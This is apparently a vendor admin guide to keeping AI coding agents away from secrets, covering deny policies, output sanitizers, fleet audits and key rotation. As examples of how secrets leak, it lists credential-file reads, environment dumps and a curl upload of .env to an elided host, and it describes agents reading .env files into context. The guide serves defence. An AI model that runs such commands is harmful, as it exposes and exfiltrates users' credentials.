AI coding agent admin guide·verified October 21, 2026

keep ai coding agents away from secrets

Agents read .env files, print environment variables and paste tokens into context. Prevent what you can, detect the rest in tool output and in audits.

the short answer

Use three layers. Prevent: deny reads of .env files, reads outside the project such as ~/.aws/credentials, and commands that dump environment variables. Detect: flag API keys, bearer tokens, JWTs, private keys and connection strings in tool output. Audit: run recurring audits over agent sessions for credentials that reached model context, then rotate them. Prevention stops most exposure; detection tells you which keys to rotate.

On by default
block-env-files, protect-env-vars
Opt in
block-read-outside-cwd, block-secrets-write
Detect in output
Five sanitize-* policies: API keys, bearer tokens, JWTs, private keys, connection strings
Audit
Cloud audits, with a deterministic credential and PII scan in every run
Response
Rotate, then add a policy for the path it came through

How Secrets Reach an Agent

PathExampleLayer
Reading .env filescat .env, Read .env.productionPrevent: block-env-files (on by default)
Reading credentials outside the projectRead ~/.aws/credentials, cat ~/.ssh/id_ed25519Prevent: block-read-outside-cwd (off by default)
Dumping the environmentenv, printenv, echo $STRIPE_KEYPrevent: protect-env-vars (on by default)
Tool output that contains a secretA debug log, a config dump, a connection string in an errorDetect: sanitize-*
Writing secrets into filesHardcoding a key into config.tsPrevent: block-secrets-write (off by default)
Sending secrets outcurl -d @.env https://...Semantic check: credential-exfiltration, from the FailproofAI/jev-policies pack with Jev on

Prevent: The Pack Defaults Plus Two Opt-Ins

block-env-files and protect-env-vars are among the ten policies the coding agent pack switches on by default. block-read-outside-cwd and block-secrets-write are off by default. block-secrets-write has an unanchored path match (it also catches src/auth/credentials.ts), so trial it on one machine or in a Cloud observe deployment before turning it on fleet-wide. block-read-outside-cwd accepts allowPaths for directories agents legitimately read.

failproofai policies add FailproofAI/policies      # defaults include env-file and env-var protection
failproofai policies add block-read-outside-cwd    # opt in: keeps ~/.aws, ~/.ssh out of reach
failproofai policies add block-secrets-write       # opt in, after a trial

Make It Robust with a Decision-Model Check

Path rules know file names; they do not know that python -c "print(open(...).read())" reads a key, or that a curl upload carries one. Three decision-model checks in the FailproofAI/jev-policies pack judge what the call does with secrets, whatever command it uses.

These checks ship in the FailproofAI/jev-policies pack. Jev comes with Failproof; turn it on whenever you choose, with failproofai jev setup or a Cloud machine key that carries jev:evaluate. For rules of your own, we write custom checks.

# The 16 semantic checks Failproof publishes, including the ones named on this page
failproofai policies add FailproofAI/jev-policies
# Turn on Jev, which comes with Failproof (Cloud machine key with jev:evaluate)
failproofai jev setup --provider failproofai
failproofai jev status
  • secret-exposure (deny): reading or copying credentials.
  • credential-exfiltration (deny, not user-overridable): sending secrets or private files off the machine.
  • env-secrets-dump (instruct): printing environment secrets.

Detect: What the Sanitizers Can and Cannot Do

The five sanitize-* policies run after a tool returns and flag API keys, bearer tokens, JWTs, private key content and connection strings in the output. On harnesses that consume post-tool verdicts, such as Codex and Copilot CLI, the result shown to the model can be replaced; on Claude Code and Cursor, post-tool events are observational. Either way the tool has already run, so treat sanitizers as detection: their value is telling you which session, machine and credential type to rotate.

sanitize-api-keys accepts additionalPatterns for your own key formats, configured in policies-config.json.

Audit Across the Fleet

In managed deployments, Failproof can also analyse traces for credentials and API keys across the organization, so exposure that no single policy caught still surfaces; talk to us. In Cloud, a recurring audit with the “unsafe data access” recipe finds sessions that read, write or transmit sensitive data outside approved paths, and every audit run also performs a deterministic credential and PII scan. Findings become issues you can assign; when one maps to a repeatable action, generate policy drafts the rule.

When a Key Is Exposed

  1. Rotate the credential. Assume transcripts and model context retained it.
  2. Open the session to see how it got there: which tool call, which file or command.
  3. Add a deny for that path, or narrow an existing allow pattern.
  4. Create an alert for recurrence: a per_event or custom_sql alert over sanitizer decisions, routed to the security channel. Check field names with fp query schema first.

FAQ

Does Failproof send my secrets to the cloud?

Policy decisions run locally. Transcripts are sent when connected unless --no-transcripts is set; secret values are redacted from what goes to the decision model.

Can an agent read the Failproof machine key?

In a default install the agent runs as the key’s owner and can read it; only changing Failproof’s files is blocked. Treat machine keys as spending credentials and rotate on suspicion. Managed deployments separate the daemon user.

Is this a replacement for secret scanning in CI?

No. CI secret scanning catches secrets committed to code. This catches secrets entering agent context on a laptop, before anything is committed.

Sources

Checked against the sources below on October 21, 2026. Harness settings, hook capabilities and cloud features change between versions.

  1. Failproof AI docs: Use a policy pack
  2. Failproof AI docs: Local configuration
  3. Failproof AI docs: Policy authority
  4. Failproof AI docs: Jev policies
  5. Failproof AI docs: Agent harnesses and enforcement capability
  6. Failproof AI docs: Audits overview
  7. Failproof AI docs: Findings and issues
  8. Failproof AI docs: Alerts
  9. Failproof AI docs: Sessions overview
  10. OWASP: LLM06:2025 Excessive Agency